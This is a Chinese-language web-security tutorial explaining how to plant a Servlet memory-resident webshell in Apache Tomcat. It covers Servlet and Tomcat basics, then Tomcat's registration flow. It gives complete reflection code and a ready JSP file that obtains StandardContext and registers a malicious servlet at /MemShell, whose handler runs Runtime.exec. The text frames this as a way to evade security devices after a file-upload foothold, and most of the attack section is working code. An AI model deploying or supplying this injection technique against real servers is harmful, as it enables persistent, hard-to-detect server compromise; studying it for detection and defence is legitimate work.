WEB安全--Java安全--Servlet内存马
一、知识补充
1.1、Servlet
Servlet 是sun公司开发动态web的一门技术
Servlet 在个人理解中就是一个接口,我们需要利用Servlet这个技术就得实现该接口,具体:
编写一个类,实现Servlet接口
把这个写好的类部署到web服务器(Tomcat)中,运行
1.2、Tomcat
Tomcat 是一个开源的 Java Web 应用服务器,类比 IIs、Nginx...
它主要用于运行由 Java 编写的 Servlet 和 JavaServer Pages (JSP) 应用程序
Tomcat可以容纳运行多个servlet
1.3、示例
编写一个HelloWorld类,实现Servlet接口
在web.xml文件中把我们的HelloWorld类动态注册进Tomcat中
启动Tomcat,访问我们注册时所定义的路径:/hello-servlet
二、Servlet内存马原理
2.1、思考
假如我们发现一个Tomcat的系统存在文件上传,并且能解析我们的jsp文件,为了防止安全设备的检测,注入内存马是一个很有效的手段。
那该怎么做呢?
Servlet内存马,顾名思义肯定是把我们的webshell写成一个恶意类继承Servlet接口,然后把这个恶意servlet动态注册到Tomcat服务器中。
将恶意类封装成jsp文件是很容易实现的,但是如何注册呢?
按上面的方式肯定是不现实的,我们不能直接编辑服务器的xml文件;但是有另一种方式注册我们的恶意servlet,我们可以参考Tomcat通过xml文件注册的流程,编写代码仿照它的形式实现注入servlet内存马
2.2、注册流程分析
Tomcat通过xml文件注册servlet对象
图一
Tomcat对servlet的封装处理
图二
由图一知道最初会进入ContextConfigure类中的configureContext()方法
configureContext(WebXml webxml)先接收注册传递的xml配置信息,封装成StandardContext,对应着下图的 this.context
xml配置信息:
为了使configureContext(WebXml webxml)也能接收到我们恶意类的信息,可以利用request对象,先获取一个ServletContext对象其中声明了applicationContext,然后再反射获取applicationContext中的StandardContext
//动态注册恶意servlet//获取applicationContext
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
//获取standardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext context = (StandardContext)standardContextField.get(applicationContext);
接着在拿到StandardContext后,会对其进行一系列的操作;
首先是封装成一个wrapper(参考图二),并且对其进行操作
Wrapper wrapper = context.createWrapper();
wrapper.setName("MemServlet");
wrapper.setServletClass(MemServlet.class.getName());
此时我们将恶意类实例化
wrapper.setServlet(new MemServlet());
然后是将其放入Context中,并且定义访问的路由
context.addChild(wrapper);
context.addServletMappingDecoded("/MemShell","MemServlet");
这样就实现了一个普通的servlet的模拟注册
//获取applicationContext
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
//获取standardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext context = (StandardContext) standardContextField.get(applicationContext);
//仿造处理standardContext对象
Wrapper wrapper = context.createWrapper();
wrapper.setName("MemServlet");
wrapper.setServletClass(MemServlet.class.getName());
//实例化恶意类
wrapper.setServlet(new MemServlet());
//添加到Context中
context.addChild(wrapper);
//仿造处理mapping路由
context.addServletMappingDecoded("/MemShell","MemServlet");
三、servlet内存马实现
3.1、构造恶意的jsp文件
将恶意类和模仿的注册流程封装成jsp文件
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.Writer" %>
<%@ page import="org.apache.catalina.Wrapper" %><%--Created by IntelliJ IDEA.User: 86183Date: 2025/8/15Time: 11:22To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head><title>Title</title>
</head>
<body>
<%!public class MemServlet extends HttpServlet {private String message;public void init() {message = "Hello World!";}public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {Runtime.getRuntime().exec("calc");}public void destroy() {}}
%><%ServletContext servletContext = request.getServletContext();Field applicationContextField = servletContext.getClass().getDeclaredField("context");applicationContextField.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);Field standardContextField = applicationContext.getClass().getDeclaredField("context");standardContextField.setAccessible(true);StandardContext context = (StandardContext) standardContextField.get(applicationContext);Wrapper wrapper = context.createWrapper();wrapper.setName("MemServlet");wrapper.setServletClass(MemServlet.class.getName());wrapper.setServlet(new MemServlet());context.addChild(wrapper);context.addServletMappingDecoded("/MemShell","MemServlet");
%>
</body>
</html>
3.2、动态加载内存马
运行Tomcat
由于Tomcat的惰性加载机制,我们上传的servlet不会被立刻加载到内存中;需要我们先访问恶意的jsp文件,他才会加载恶意servlet
此时再访问恶意servlet路径